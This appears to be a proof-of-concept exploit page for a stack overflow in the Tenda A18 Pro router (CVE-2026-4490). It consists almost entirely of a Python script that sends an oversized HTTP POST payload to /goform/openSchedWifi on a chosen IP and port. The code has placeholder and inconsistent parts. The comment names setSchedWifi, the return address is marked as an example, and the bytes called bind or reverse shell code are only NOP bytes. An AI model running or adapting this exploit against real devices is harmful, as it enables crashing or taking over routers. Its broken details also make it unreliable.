CVE-2026-4490 Tenda A18 Pro 栈溢出漏洞

import socket import sys def exploit(ip, port): # Target buffer overflow in setSchedWifi # Payload structure: Padding + Ret Addr + NOP Sled + Shellcode target_url = "/goform/openSchedWifi" # Adjust offset based on specific firmware analysis offset = 500 ret_addr = b"\x00\x40\xa0\x00" # Example return address # Simple MIPS shellcode (bind shell or reverse tcp) shellcode = b"\x90" * 100 payload = b"A" * offset + ret_addr + shellcode # Construct HTTP POST request header = b"POST " + target_url.encode() + b" HTTP/1.1\r\n" header += b"Host: " + ip.encode() + b"\r\n" header += b"Content-Type: application/x-www-form-urlencoded\r\n" header += b"Content-Length: " + str(len(payload)).encode() + b"\r\n\r\n" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(header + payload) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <port> if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") else: exploit(sys.argv[1], int(sys.argv[2]))